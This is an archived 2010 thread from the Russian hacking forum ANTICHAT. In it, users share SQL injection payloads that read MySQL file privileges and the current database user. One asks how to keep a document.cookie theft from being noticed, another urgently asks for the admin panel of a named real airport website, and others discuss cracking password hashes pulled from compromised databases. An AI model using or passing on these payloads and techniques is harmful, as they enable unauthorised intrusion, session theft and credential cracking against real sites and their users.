ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
12.11.2010, 00:06
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
Сообщение от None
Есть скуль, как проверить привелегии? И есть ли права FILE_PRIV ?
Проверяем права на запись и чтение файлов
id=1+union+select+1,2,3,4,file_priv+from+mysql.use r+where+user='root'--
Y-есть права
N-нет прав
|
|
|
12.11.2010, 00:10
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от Mirrey
Mirrey said:
Есть скуль, как проверить привелегии? И есть ли права FILE_PRIV ?
а поиск на форуме поискать влом? сколько можно на одни и те же вопросы отвечать....просто 3.14здец полнейший...опять каникулы что ли?
|
|
|
|
12.11.2010, 00:11
|
|
Познающий
Регистрация: 10.04.2010
Сообщений: 49
Провел на форуме:
168709
Репутация:
1
|
|
Сообщение от pinch
pinch said:
Проверяем права на запись и чтение файлов
id=1+union+select+1,2,3,4,file_priv+from+mysql.use r+where+user='root'--
Y-есть права
N-нет прав
Сообщение от Mirrey
Есть скуль, как проверить привелегии? И есть ли права FILE_PRIV ?
Код:
select concat(user,0x2f,FILE_PRIV) from mysql.user limit 1,1--
Вы несколько не правы, так как может быть несколько юзеров и соответственно различные права, поэтому нужно узнать под кем мы сидим, для этого используется
id=1+union+select+1,2,3,4,user()--
а затем уже проверять конкретного
id=1+union+select+1,2,3,4,file_priv+from+mysql.use r+where+user='наш юзер под которым сидим'--
|
|
|
|
12.11.2010, 17:10
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 90
Провел на форуме:
390073
Репутация:
44
|
|
Сообщение от Jer1cho
Jer1cho said:
Сделал через (там кавчки не обязательны), если кому интересно.
...
Еще вопрос может ли браузер с какими-нибудь параноидальными дополнениями (есть ли вобще такие?) на безопасность заорать на +document.cookie, или антивирус засечь такое? очень важно чтобы никто не заметил.
Не думаю. Обычно параноики юзают NoScript, или просто тупо отрубают жабу.
|
|
|
|
12.11.2010, 18:39
|
|
Новичок
Регистрация: 25.12.2009
Сообщений: 16
Провел на форуме:
97465
Репутация:
0
|
|
Так помогите найти админку то на http://www.pulkovoairport.ru/, нужно очень срочно!
|
|
|
|
12.11.2010, 21:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
8669
Репутация:
5
|
|
Вытащил из БД хэш,расшифровал,при авторизации выдает ошибку.
Зарегистрировался там,вытащил свой хэш,при расшифровке не сходится с моим паролем.
Что тут такое ?
|
|
|
|
12.11.2010, 21:23
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 90
Провел на форуме:
390073
Репутация:
44
|
|
Сообщение от JohnnyBGoode
JohnnyBGoode said:
Вытащил из БД хэш,расшифровал,при авторизации выдает ошибку.
Зарегистрировался там,вытащил свой хэш,при расшифровке не сходится с моим паролем.
Что тут такое ?
Мож тупо совпадение, что удалось сбрутить, и там есть соль ?
|
|
|
|
12.11.2010, 22:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
8669
Репутация:
5
|
|
Не знаю даже,помимо колонки password,откуда достал хэш,есть еще колонка hash,но оттуда что-то ничего не выводится
|
|
|
|
13.11.2010, 13:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
ищи колумны password:hash:salt
или скинь в ПМ линк посмотрю и сбручу твой пароль )
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
13.11.2010, 13:24
|
|
Новичок
Регистрация: 04.11.2009
Сообщений: 4
Провел на форуме:
233049
Репутация:
0
|
|
подскажите пожалуйста что это за уязвимость
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//userttool-258-www.bigpoint.net/[/COLOR][/COLOR]
|
|
|
|
|
|
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Линейный вид
